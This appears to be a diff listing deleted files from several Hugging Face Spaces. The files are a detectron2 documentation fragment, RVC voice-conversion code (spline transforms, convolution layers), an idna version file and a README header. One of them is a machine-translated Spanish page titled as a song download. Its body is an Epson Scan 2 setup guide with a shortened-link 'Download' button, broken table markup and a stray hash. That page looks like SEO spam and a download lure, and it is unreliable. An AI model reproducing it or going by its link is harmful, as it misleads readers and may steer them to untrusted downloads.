To see a list of available configs in detectron2 and what they mean,
|
44 |
-
check [Config References](../modules/config.html#config-references)
|
45 |
-
|
46 |
-
### Configs in Projects
|
47 |
-
|
48 |
-
A project that lives outside the detectron2 library may define its own configs, which will need to be added
|
49 |
-
for the project to be functional, e.g.:
|
50 |
-
```python
|
51 |
-
from detectron2.projects.point_rend import add_pointrend_config
|
52 |
-
cfg = get_cfg() # obtain detectron2's default config
|
53 |
-
add_pointrend_config(cfg) # add pointrend's default config
|
54 |
-
# ... ...
|
55 |
-
```
|
56 |
-
|
57 |
-
### Best Practice with Configs
|
58 |
-
|
59 |
-
1. Treat the configs you write as "code": avoid copying them or duplicating them; use `_BASE_`
|
60 |
-
to share common parts between configs.
|
61 |
-
|
62 |
-
2. Keep the configs you write simple: don't include keys that do not affect the experimental setting.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/Bart92/RVC_HF/infer/lib/infer_pack/transforms.py
DELETED
@@ -1,207 +0,0 @@
|
|
1 |
-
import numpy as np
|
2 |
-
import torch
|
3 |
-
from torch.nn import functional as F
|
4 |
-
|
5 |
-
DEFAULT_MIN_BIN_WIDTH = 1e-3
|
6 |
-
DEFAULT_MIN_BIN_HEIGHT = 1e-3
|
7 |
-
DEFAULT_MIN_DERIVATIVE = 1e-3
|
8 |
-
|
9 |
-
|
10 |
-
def piecewise_rational_quadratic_transform(
|
11 |
-
inputs,
|
12 |
-
unnormalized_widths,
|
13 |
-
unnormalized_heights,
|
14 |
-
unnormalized_derivatives,
|
15 |
-
inverse=False,
|
16 |
-
tails=None,
|
17 |
-
tail_bound=1.0,
|
18 |
-
min_bin_width=DEFAULT_MIN_BIN_WIDTH,
|
19 |
-
min_bin_height=DEFAULT_MIN_BIN_HEIGHT,
|
20 |
-
min_derivative=DEFAULT_MIN_DERIVATIVE,
|
21 |
-
):
|
22 |
-
if tails is None:
|
23 |
-
spline_fn = rational_quadratic_spline
|
24 |
-
spline_kwargs = {}
|
25 |
-
else:
|
26 |
-
spline_fn = unconstrained_rational_quadratic_spline
|
27 |
-
spline_kwargs = {"tails": tails, "tail_bound": tail_bound}
|
28 |
-
|
29 |
-
outputs, logabsdet = spline_fn(
|
30 |
-
inputs=inputs,
|
31 |
-
unnormalized_widths=unnormalized_widths,
|
32 |
-
unnormalized_heights=unnormalized_heights,
|
33 |
-
unnormalized_derivatives=unnormalized_derivatives,
|
34 |
-
inverse=inverse,
|
35 |
-
min_bin_width=min_bin_width,
|
36 |
-
min_bin_height=min_bin_height,
|
37 |
-
min_derivative=min_derivative,
|
38 |
-
**spline_kwargs
|
39 |
-
)
|
40 |
-
return outputs, logabsdet
|
41 |
-
|
42 |
-
|
43 |
-
def searchsorted(bin_locations, inputs, eps=1e-6):
|
44 |
-
bin_locations[..., -1] += eps
|
45 |
-
return torch.sum(inputs[..., None] >= bin_locations, dim=-1) - 1
|
46 |
-
|
47 |
-
|
48 |
-
def unconstrained_rational_quadratic_spline(
|
49 |
-
inputs,
|
50 |
-
unnormalized_widths,
|
51 |
-
unnormalized_heights,
|
52 |
-
unnormalized_derivatives,
|
53 |
-
inverse=False,
|
54 |
-
tails="linear",
|
55 |
-
tail_bound=1.0,
|
56 |
-
min_bin_width=DEFAULT_MIN_BIN_WIDTH,
|
57 |
-
min_bin_height=DEFAULT_MIN_BIN_HEIGHT,
|
58 |
-
min_derivative=DEFAULT_MIN_DERIVATIVE,
|
59 |
-
):
|
60 |
-
inside_interval_mask = (inputs >= -tail_bound) & (inputs <= tail_bound)
|
61 |
-
outside_interval_mask = ~inside_interval_mask
|
62 |
-
|
63 |
-
outputs = torch.zeros_like(inputs)
|
64 |
-
logabsdet = torch.zeros_like(inputs)
|
65 |
-
|
66 |
-
if tails == "linear":
|
67 |
-
unnormalized_derivatives = F.pad(unnormalized_derivatives, pad=(1, 1))
|
68 |
-
constant = np.log(np.exp(1 - min_derivative) - 1)
|
69 |
-
unnormalized_derivatives[..., 0] = constant
|
70 |
-
unnormalized_derivatives[..., -1] = constant
|
71 |
-
|
72 |
-
outputs[outside_interval_mask] = inputs[outside_interval_mask]
|
73 |
-
logabsdet[outside_interval_mask] = 0
|
74 |
-
else:
|
75 |
-
raise RuntimeError("{} tails are not implemented.".format(tails))
|
76 |
-
|
77 |
-
(
|
78 |
-
outputs[inside_interval_mask],
|
79 |
-
logabsdet[inside_interval_mask],
|
80 |
-
) = rational_quadratic_spline(
|
81 |
-
inputs=inputs[inside_interval_mask],
|
82 |
-
unnormalized_widths=unnormalized_widths[inside_interval_mask, :],
|
83 |
-
unnormalized_heights=unnormalized_heights[inside_interval_mask, :],
|
84 |
-
unnormalized_derivatives=unnormalized_derivatives[inside_interval_mask, :],
|
85 |
-
inverse=inverse,
|
86 |
-
left=-tail_bound,
|
87 |
-
right=tail_bound,
|
88 |
-
bottom=-tail_bound,
|
89 |
-
top=tail_bound,
|
90 |
-
min_bin_width=min_bin_width,
|
91 |
-
min_bin_height=min_bin_height,
|
92 |
-
min_derivative=min_derivative,
|
93 |
-
)
|
94 |
-
|
95 |
-
return outputs, logabsdet
|
96 |
-
|
97 |
-
|
98 |
-
def rational_quadratic_spline(
|
99 |
-
inputs,
|
100 |
-
unnormalized_widths,
|
101 |
-
unnormalized_heights,
|
102 |
-
unnormalized_derivatives,
|
103 |
-
inverse=False,
|
104 |
-
left=0.0,
|
105 |
-
right=1.0,
|
106 |
-
bottom=0.0,
|
107 |
-
top=1.0,
|
108 |
-
min_bin_width=DEFAULT_MIN_BIN_WIDTH,
|
109 |
-
min_bin_height=DEFAULT_MIN_BIN_HEIGHT,
|
110 |
-
min_derivative=DEFAULT_MIN_DERIVATIVE,
|
111 |
-
):
|
112 |
-
if torch.min(inputs) < left or torch.max(inputs) > right:
|
113 |
-
raise ValueError("Input to a transform is not within its domain")
|
114 |
-
|
115 |
-
num_bins = unnormalized_widths.shape[-1]
|
116 |
-
|
117 |
-
if min_bin_width * num_bins > 1.0:
|
118 |
-
raise ValueError("Minimal bin width too large for the number of bins")
|
119 |
-
if min_bin_height * num_bins > 1.0:
|
120 |
-
raise ValueError("Minimal bin height too large for the number of bins")
|
121 |
-
|
122 |
-
widths = F.softmax(unnormalized_widths, dim=-1)
|
123 |
-
widths = min_bin_width + (1 - min_bin_width * num_bins) * widths
|
124 |
-
cumwidths = torch.cumsum(widths, dim=-1)
|
125 |
-
cumwidths = F.pad(cumwidths, pad=(1, 0), mode="constant", value=0.0)
|
126 |
-
cumwidths = (right - left) * cumwidths + left
|
127 |
-
cumwidths[..., 0] = left
|
128 |
-
cumwidths[..., -1] = right
|
129 |
-
widths = cumwidths[..., 1:] - cumwidths[..., :-1]
|
130 |
-
|
131 |
-
derivatives = min_derivative + F.softplus(unnormalized_derivatives)
|
132 |
-
|
133 |
-
heights = F.softmax(unnormalized_heights, dim=-1)
|
134 |
-
heights = min_bin_height + (1 - min_bin_height * num_bins) * heights
|
135 |
-
cumheights = torch.cumsum(heights, dim=-1)
|
136 |
-
cumheights = F.pad(cumheights, pad=(1, 0), mode="constant", value=0.0)
|
137 |
-
cumheights = (top - bottom) * cumheights + bottom
|
138 |
-
cumheights[..., 0] = bottom
|
139 |
-
cumheights[..., -1] = top
|
140 |
-
heights = cumheights[..., 1:] - cumheights[..., :-1]
|
141 |
-
|
142 |
-
if inverse:
|
143 |
-
bin_idx = searchsorted(cumheights, inputs)[..., None]
|
144 |
-
else:
|
145 |
-
bin_idx = searchsorted(cumwidths, inputs)[..., None]
|
146 |
-
|
147 |
-
input_cumwidths = cumwidths.gather(-1, bin_idx)[..., 0]
|
148 |
-
input_bin_widths = widths.gather(-1, bin_idx)[..., 0]
|
149 |
-
|
150 |
-
input_cumheights = cumheights.gather(-1, bin_idx)[..., 0]
|
151 |
-
delta = heights / widths
|
152 |
-
input_delta = delta.gather(-1, bin_idx)[..., 0]
|
153 |
-
|
154 |
-
input_derivatives = derivatives.gather(-1, bin_idx)[..., 0]
|
155 |
-
input_derivatives_plus_one = derivatives[..., 1:].gather(-1, bin_idx)[..., 0]
|
156 |
-
|
157 |
-
input_heights = heights.gather(-1, bin_idx)[..., 0]
|
158 |
-
|
159 |
-
if inverse:
|
160 |
-
a = (inputs - input_cumheights) * (
|
161 |
-
input_derivatives + input_derivatives_plus_one - 2 * input_delta
|
162 |
-
) + input_heights * (input_delta - input_derivatives)
|
163 |
-
b = input_heights * input_derivatives - (inputs - input_cumheights) * (
|
164 |
-
input_derivatives + input_derivatives_plus_one - 2 * input_delta
|
165 |
-
)
|
166 |
-
c = -input_delta * (inputs - input_cumheights)
|
167 |
-
|
168 |
-
discriminant = b.pow(2) - 4 * a * c
|
169 |
-
assert (discriminant >= 0).all()
|
170 |
-
|
171 |
-
root = (2 * c) / (-b - torch.sqrt(discriminant))
|
172 |
-
outputs = root * input_bin_widths + input_cumwidths
|
173 |
-
|
174 |
-
theta_one_minus_theta = root * (1 - root)
|
175 |
-
denominator = input_delta + (
|
176 |
-
(input_derivatives + input_derivatives_plus_one - 2 * input_delta)
|
177 |
-
* theta_one_minus_theta
|
178 |
-
)
|
179 |
-
derivative_numerator = input_delta.pow(2) * (
|
180 |
-
input_derivatives_plus_one * root.pow(2)
|
181 |
-
+ 2 * input_delta * theta_one_minus_theta
|
182 |
-
+ input_derivatives * (1 - root).pow(2)
|
183 |
-
)
|
184 |
-
logabsdet = torch.log(derivative_numerator) - 2 * torch.log(denominator)
|
185 |
-
|
186 |
-
return outputs, -logabsdet
|
187 |
-
else:
|
188 |
-
theta = (inputs - input_cumwidths) / input_bin_widths
|
189 |
-
theta_one_minus_theta = theta * (1 - theta)
|
190 |
-
|
191 |
-
numerator = input_heights * (
|
192 |
-
input_delta * theta.pow(2) + input_derivatives * theta_one_minus_theta
|
193 |
-
)
|
194 |
-
denominator = input_delta + (
|
195 |
-
(input_derivatives + input_derivatives_plus_one - 2 * input_delta)
|
196 |
-
* theta_one_minus_theta
|
197 |
-
)
|
198 |
-
outputs = input_cumheights + numerator / denominator
|
199 |
-
|
200 |
-
derivative_numerator = input_delta.pow(2) * (
|
201 |
-
input_derivatives_plus_one * theta.pow(2)
|
202 |
-
+ 2 * input_delta * theta_one_minus_theta
|
203 |
-
+ input_derivatives * (1 - theta).pow(2)
|
204 |
-
)
|
205 |
-
logabsdet = torch.log(derivative_numerator) - 2 * torch.log(denominator)
|
206 |
-
|
207 |
-
return outputs, logabsdet
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/Bart92/RVC_HF/lib/uvr5_pack/lib_v5/layers_123821KB.py
DELETED
@@ -1,118 +0,0 @@
|
|
1 |
-
import torch
|
2 |
-
from torch import nn
|
3 |
-
import torch.nn.functional as F
|
4 |
-
|
5 |
-
from . import spec_utils
|
6 |
-
|
7 |
-
|
8 |
-
class Conv2DBNActiv(nn.Module):
|
9 |
-
def __init__(self, nin, nout, ksize=3, stride=1, pad=1, dilation=1, activ=nn.ReLU):
|
10 |
-
super(Conv2DBNActiv, self).__init__()
|
11 |
-
self.conv = nn.Sequential(
|
12 |
-
nn.Conv2d(
|
13 |
-
nin,
|
14 |
-
nout,
|
15 |
-
kernel_size=ksize,
|
16 |
-
stride=stride,
|
17 |
-
padding=pad,
|
18 |
-
dilation=dilation,
|
19 |
-
bias=False,
|
20 |
-
),
|
21 |
-
nn.BatchNorm2d(nout),
|
22 |
-
activ(),
|
23 |
-
)
|
24 |
-
|
25 |
-
def __call__(self, x):
|
26 |
-
return self.conv(x)
|
27 |
-
|
28 |
-
|
29 |
-
class SeperableConv2DBNActiv(nn.Module):
|
30 |
-
def __init__(self, nin, nout, ksize=3, stride=1, pad=1, dilation=1, activ=nn.ReLU):
|
31 |
-
super(SeperableConv2DBNActiv, self).__init__()
|
32 |
-
self.conv = nn.Sequential(
|
33 |
-
nn.Conv2d(
|
34 |
-
nin,
|
35 |
-
nin,
|
36 |
-
kernel_size=ksize,
|
37 |
-
stride=stride,
|
38 |
-
padding=pad,
|
39 |
-
dilation=dilation,
|
40 |
-
groups=nin,
|
41 |
-
bias=False,
|
42 |
-
),
|
43 |
-
nn.Conv2d(nin, nout, kernel_size=1, bias=False),
|
44 |
-
nn.BatchNorm2d(nout),
|
45 |
-
activ(),
|
46 |
-
)
|
47 |
-
|
48 |
-
def __call__(self, x):
|
49 |
-
return self.conv(x)
|
50 |
-
|
51 |
-
|
52 |
-
class Encoder(nn.Module):
|
53 |
-
def __init__(self, nin, nout, ksize=3, stride=1, pad=1, activ=nn.LeakyReLU):
|
54 |
-
super(Encoder, self).__init__()
|
55 |
-
self.conv1 = Conv2DBNActiv(nin, nout, ksize, 1, pad, activ=activ)
|
56 |
-
self.conv2 = Conv2DBNActiv(nout, nout, ksize, stride, pad, activ=activ)
|
57 |
-
|
58 |
-
def __call__(self, x):
|
59 |
-
skip = self.conv1(x)
|
60 |
-
h = self.conv2(skip)
|
61 |
-
|
62 |
-
return h, skip
|
63 |
-
|
64 |
-
|
65 |
-
class Decoder(nn.Module):
|
66 |
-
def __init__(
|
67 |
-
self, nin, nout, ksize=3, stride=1, pad=1, activ=nn.ReLU, dropout=False
|
68 |
-
):
|
69 |
-
super(Decoder, self).__init__()
|
70 |
-
self.conv = Conv2DBNActiv(nin, nout, ksize, 1, pad, activ=activ)
|
71 |
-
self.dropout = nn.Dropout2d(0.1) if dropout else None
|
72 |
-
|
73 |
-
def __call__(self, x, skip=None):
|
74 |
-
x = F.interpolate(x, scale_factor=2, mode="bilinear", align_corners=True)
|
75 |
-
if skip is not None:
|
76 |
-
skip = spec_utils.crop_center(skip, x)
|
77 |
-
x = torch.cat([x, skip], dim=1)
|
78 |
-
h = self.conv(x)
|
79 |
-
|
80 |
-
if self.dropout is not None:
|
81 |
-
h = self.dropout(h)
|
82 |
-
|
83 |
-
return h
|
84 |
-
|
85 |
-
|
86 |
-
class ASPPModule(nn.Module):
|
87 |
-
def __init__(self, nin, nout, dilations=(4, 8, 16), activ=nn.ReLU):
|
88 |
-
super(ASPPModule, self).__init__()
|
89 |
-
self.conv1 = nn.Sequential(
|
90 |
-
nn.AdaptiveAvgPool2d((1, None)),
|
91 |
-
Conv2DBNActiv(nin, nin, 1, 1, 0, activ=activ),
|
92 |
-
)
|
93 |
-
self.conv2 = Conv2DBNActiv(nin, nin, 1, 1, 0, activ=activ)
|
94 |
-
self.conv3 = SeperableConv2DBNActiv(
|
95 |
-
nin, nin, 3, 1, dilations[0], dilations[0], activ=activ
|
96 |
-
)
|
97 |
-
self.conv4 = SeperableConv2DBNActiv(
|
98 |
-
nin, nin, 3, 1, dilations[1], dilations[1], activ=activ
|
99 |
-
)
|
100 |
-
self.conv5 = SeperableConv2DBNActiv(
|
101 |
-
nin, nin, 3, 1, dilations[2], dilations[2], activ=activ
|
102 |
-
)
|
103 |
-
self.bottleneck = nn.Sequential(
|
104 |
-
Conv2DBNActiv(nin * 5, nout, 1, 1, 0, activ=activ), nn.Dropout2d(0.1)
|
105 |
-
)
|
106 |
-
|
107 |
-
def forward(self, x):
|
108 |
-
_, _, h, w = x.size()
|
109 |
-
feat1 = F.interpolate(
|
110 |
-
self.conv1(x), size=(h, w), mode="bilinear", align_corners=True
|
111 |
-
)
|
112 |
-
feat2 = self.conv2(x)
|
113 |
-
feat3 = self.conv3(x)
|
114 |
-
feat4 = self.conv4(x)
|
115 |
-
feat5 = self.conv5(x)
|
116 |
-
out = torch.cat((feat1, feat2, feat3, feat4, feat5), dim=1)
|
117 |
-
bottle = self.bottleneck(out)
|
118 |
-
return bottle
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/Benson/text-generation/Examples/Descargar 2 4 Cancin.md
DELETED
@@ -1,73 +0,0 @@
|
|
1 |
-
<br />
|
2 |
-
<h1>Cómo descargar y usar Epson Scan 2 L3150</h1>
|
3 |
-
<p>Si tiene una impresora Epson L3150, puede utilizar el software Epson Scan 2 para escanear sus documentos o fotos. Epson Scan 2 es un programa de escaneo que te permite acceder a funciones de escaneo básicas y avanzadas. Puede escanear su original y guardar la imagen escaneada en varios formatos de archivo, o abrirla en su programa de escaneo. También puede previsualizar la imagen escaneada y seleccionar o cambiar la configuración según sea necesario. </p>
|
4 |
-
<p>En este artículo, le mostraremos qué es Epson Scan 2 L3150, cómo descargarlo y cómo usarlo. Siga los pasos a continuación para comenzar. </p>
|
5 |
-
<h2>descargar 2 4 canción</h2><br /><p><b><b>Download</b> ––– <a href="https://bltlly.com/2v6JfA">https://bltlly.com/2v6JfA</a></b></p><br /><br />
|
6 |
-
<h2>¿Qué es Epson Scan 2 L3150? </h2>
|
7 |
-
<p>Epson Scan 2 L3150 es un software que viene con la impresora Epson L3150. La Epson L3150 es una impresora todo en uno que ofrece impresión inalámbrica, escaneo y copia. Tiene un diseño compacto y un sistema de depósito de tinta integrado que reduce los costos de impresión. También soporta Wi-Fi Direct, que te permite imprimir desde tu smartphone o tablet sin router. </p>
|
8 |
-
<h3>Características y beneficios de Epson Scan 2 L3150</h3>
|
9 |
-
<p>Algunas de las características y beneficios de Epson Scan 2 L3150 son:</p>
|
10 |
-
<ul>
|
11 |
-
<li> Admite varios modos de escaneo, como el modo de documento, modo de foto, modo automático, modo profesional y modo de inicio. </li>
|
12 |
-
<li> Le permite ajustar el tipo de imagen, resolución, rotación, sesgo del documento, gestión del color, opciones de miniaturas y otros ajustes. </li>
|
13 |
-
<li>Le permite guardar su archivo escaneado en diferentes formatos, como JPEG, TIFF, PDF, PNG, BMP, PICT, GIF, PSD, SVG, PCX, RAS, ICO, CUR.</li>
|
14 |
-
<li>Le permite crear una nueva carpeta o seleccionar una carpeta existente para guardar su archivo escaneado. </li>
|
15 |
-
<li> Ofrece una ventana de vista previa donde puede ver los resultados de su análisis antes de guardarlo o compartirlo. </li>
|
16 |
-
</ul>
|
17 |
-
<h3>Compatibilidad y requisitos de Epson Scan 2 L3150</h3>
|
18 |
-
|
19 |
-
<p>Los requisitos mínimos del sistema para usar Epson Scan 2 L3150 son:</p>
|
20 |
-
<tabla>
|
21 |
-
<tr><th>Sistema operativo</th><th>Procesador</th><th>Memoria</th><th><th>Espacio del disco duro</th></tr>
|
22 |
-
<tr><td>Windows XP SP3 o posterior (32-bit)</td><td>Pentium III o superior</td><td>512 MB</td><td>450 MB</td></tr>
|
23 |
-
<tr><td>Windows Vista SP1 o posterior (32/64-bit)</td><td>Pentium III o superior</td><td><512 MB</td><><td>450 MB</td></tr>
|
24 |
-
<tr><td>Windows 7 SP1 o posterior (32/64-bit)</td><td>Pentium III o superior</td><td>512 MB</td><td>450 MB</td></tr>
|
25 |
-
<tr><td <td>Windows 8/8.1 (32/64-bit)</td><td>Pentium III o superior</td><td><td>512 MB</td><td><450 MB</td></tr>
|
26 |
-
<tr><td>Windows 10 (32/64-bit)</td><td>Pentium III o superior</td><td><td>512 MB</td><td>450 MB</td></tr>
|
27 |
-
<tr><td>Mac OS X 10.6.8 o posterior</td><td><td>Intel Core Duo o superior</td><td>1 GB</td><td>450 MB</td></tr>
|
28 |
-
</tabla>
|
29 |
-
<h2>¿Cómo descargar Epson Scan 2 L3150? </h2>
|
30 |
-
<p>Para descargar Epson Scan 2 L3150, debe visitar el sitio web oficial de Epson y seguir los pasos a continuación:</p>
|
31 |
-
<h3>Paso 1: Visita el sitio web oficial de Epson</h3>
|
32 |
-
<p>Vaya a <a href=">https://epson.com/Support/Printers/All-InOnes/L-Series/Epson-L3150/s/SPT_C11CG86301</a> y haga clic en la pestaña Descargas. Esto lo llevará a la página donde puede encontrar el software y el controlador para su impresora Epson L3150. </p>
|
33 |
-
<h3>Paso 2: Seleccione su sistema operativo y el idioma</h3>
|
34 |
-
<p>En la página de descargas, verá un menú desplegable donde puede seleccionar su sistema operativo y el idioma. Elija el que coincida con su ordenador y haga clic en el botón Descargar junto a Epson Scan 2.</p>
|
35 |
-
<h3>Paso 3: Descargue el software y el controlador de Epson Scan 2</h3>
|
36 |
-
<p>Aparecerá una ventana emergente pidiéndole que guarde el archivo. Haga clic en Guardar archivo y elija una ubicación en su computadora donde desea guardar el archivo. El nombre del archivo será epson633555eu.exe para Windows o epson633555eu.dmg para Mac. El tamaño del archivo será de aproximadamente 66 MB.</p>
|
37 |
-
<h3>Paso 4: Instale el software y el controlador de Epson Scan 2</h3>
|
38 |
-
|
39 |
-
<h2>¿Cómo usar Epson Scan 2 L3150? </h2>
|
40 |
-
<p>Para usar Epson Scan 2 L3150, debe conectar su impresora Epson L3150 a su computadora y seguir los pasos a continuación:</p>
|
41 |
-
<p></p>
|
42 |
-
<h3>Paso 1: Conecte su impresora Epson L3150 a su computadora</h3>
|
43 |
-
<p>Puede conectar su impresora Epson L3150 a su computadora usando un cable USB o una red inalámbrica. Si está utilizando un cable USB, asegúrese de que está conectado de forma segura a ambos dispositivos. Si está utilizando una red inalámbrica, asegúrese de que la impresora y el equipo estén conectados a la misma red. </p>
|
44 |
-
<h3>Paso 2: Inicie el software Epson Scan 2</h3>
|
45 |
-
<p>Para iniciar el software Epson Scan 2, puede hacer clic en el icono de su escritorio o ir a Inicio > Todos los programas > Epson Software > Epson Scan 2. Verá la ventana principal del software Epson Scan 2 donde puede elegir el modo de escaneo y la configuración. </p>
|
46 |
-
<h3>Paso 3: Elija el modo de exploración y la configuración</h3>
|
47 |
-
<p>El software Epson Scan 2 ofrece cinco modos de escaneo: modo documento, modo foto, modo automático, modo profesional y modo hogar. Cada modo tiene diferentes configuraciones y opciones para escanear su original. Puede elegir el modo que se adapte a sus necesidades haciendo clic en el menú desplegable en la parte superior de la ventana. </p>
|
48 |
-
<p>También puede ajustar el tipo de imagen, la resolución, la rotación, el sesgo del documento, la gestión del color, las opciones de miniaturas y otros ajustes haciendo clic en el icono de engranaje en la parte inferior de la ventana. Puede ver una vista previa de su configuración haciendo clic en el botón Vista previa en la parte inferior derecha de la ventana. </p>
|
49 |
-
<h3>Paso 4: Previsualizar y escanear su documento o foto</h3>
|
50 |
-
<p>Si ha elegido el modo de documento o el modo de foto, debe colocar el original en el vidrio del escáner o en el alimentador automático de documentos (ADF). Si ha elegido el modo automático, el modo profesional o el modo doméstico, puede colocar varios originales en el vidrio del escáner. </p>
|
51 |
-
|
52 |
-
<p>Para escanear el original, haga clic en el botón Escanear en la parte inferior derecha de la ventana. Verá una barra de progreso que muestra cuánto tiempo queda para escanear su original. Cuando termine el escaneo, verá una ventana donde puede guardar o compartir su archivo escaneado. </p>
|
53 |
-
<h3>Paso 5: Guarde o comparta su archivo escaneado</h3>
|
54 |
-
<p>Para guardar su archivo escaneado, puede elegir un formato de archivo, un nombre de archivo y una ubicación de carpeta haciendo clic en el botón Guardar en la parte inferior de la ventana. También puede crear una nueva carpeta o seleccionar una carpeta existente haciendo clic en el botón Examinar. Puede ver el tamaño del archivo y la calidad de la imagen mirando la información debajo del botón Guardar. </p>
|
55 |
-
<p>Para compartir su archivo escaneado, puede elegir una aplicación, como correo electrónico, servicio en la nube o redes sociales, haciendo clic en el botón Compartir en la parte inferior de la ventana. También puede elegir un formato de archivo y un nombre de archivo haciendo clic en el botón Opciones. Puede ver el tamaño del archivo y la calidad de la imagen mirando la información debajo del botón Compartir. </p>
|
56 |
-
<h2>Conclusión</h2>
|
57 |
-
<p>Epson Scan 2 L3150 es un software que le permite escanear sus documentos o fotos utilizando su impresora Epson L3150. Tiene varios modos de escaneo y configuraciones que puede personalizar según sus necesidades. También puede previsualizar, guardar o compartir sus archivos escaneados en diferentes formatos y aplicaciones. Para usar Epson Scan 2 L3150, necesitas descargarlo e instalarlo desde el sitio web oficial de Epson y seguir los pasos que te hemos mostrado en este artículo. Esperamos que este artículo sea útil e informativo para usted. </p>
|
58 |
-
<h4>Preguntas frecuentes</h4>
|
59 |
-
<p>Aquí hay algunas preguntas frecuentes sobre Epson Scan 2 L3150:</p>
|
60 |
-
<ul>
|
61 |
-
<li><b>Q: ¿Cómo puedo actualizar Epson Scan 2 L3150? </b></li>
|
62 |
-
|
63 |
-
<li><b>Q: ¿Cómo puedo desinstalar Epson Scan 2 L3150? </b></li>
|
64 |
-
<li>A: Para desinstalar Epson Scan 2 L3150, debe ir a Panel de control > Programas > Programas y características (Windows) o Finder > Aplicaciones > Software de Epson (Mac) y seleccione Epson Scan 2. Luego, haga clic en Desinstalar o Mover a la papelera y siga las instrucciones. </li>
|
65 |
-
<li><b>Q: ¿Cómo escaneo varias páginas con Epson Scan 2 L3150? </b></li>
|
66 |
-
<li>A: Para escanear varias páginas con Epson Scan 2 L3150, debe usar el alimentador automático de documentos (ADF) de su impresora. Coloque los originales en el ADF y seleccione Modo de documento en el software Epson Scan 2. Luego, haga clic en Vista previa y seleccione todas las páginas que desea escanear. Finalmente, haga clic en Escanear y guarde o comparta su archivo escaneado. </li>
|
67 |
-
<li><b>Q: ¿Cómo puedo escanear documentos de doble cara con Epson Scan 2 L3150? </b></li>
|
68 |
-
<li>A: Para escanear documentos de doble cara con Epson Scan 2 L3150, debe usar el alimentador automático de documentos (ADF) de su impresora. Coloque los originales en el ADF y seleccione Modo de documento en el software Epson Scan 2. Luego, haga clic en Configuración y marque la casilla junto a Exploración dúplex. Finalmente, haga clic en Vista previa y Escanear y guarde o comparta su archivo escaneado. </li>
|
69 |
-
<li><b>Q: ¿Cómo puedo escanear de forma inalámbrica con Epson Scan 2 L3150? </b></li>
|
70 |
-
<li>A: Para escanear de forma inalámbrica con Epson Scan 2 L3150, es necesario conectar la impresora y el ordenador a la misma red inalámbrica. Luego, inicie el software Epson Scan 2 y seleccione su impresora en el menú desplegable en la parte superior de la ventana. Después de eso, siga los mismos pasos que escanear con un cable USB. </li>
|
71 |
-
</ul></p> 64aa2da5cf<br />
|
72 |
-
<br />
|
73 |
-
<br />
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/Big-Web/MMSD/env/Lib/site-packages/pip/_vendor/idna/package_data.py
DELETED
@@ -1,2 +0,0 @@
|
|
1 |
-
__version__ = '3.4'
|
2 |
-
|
|
|
|
|
|
spaces/BlackCub/ChatGPT4/README.md
DELETED
@@ -1,14 +0,0 @@
|
|
1 |
-
---
|
2 |
-
title: Chat-with-GPT4
|
3 |
-
emoji: 🚀
|
4 |
-
colorFrom: red
|
5 |
-
colorTo: indigo
|
6 |
-
sdk: gradio
|
7 |
-
sdk_version: 3.21.0
|
8 |
-
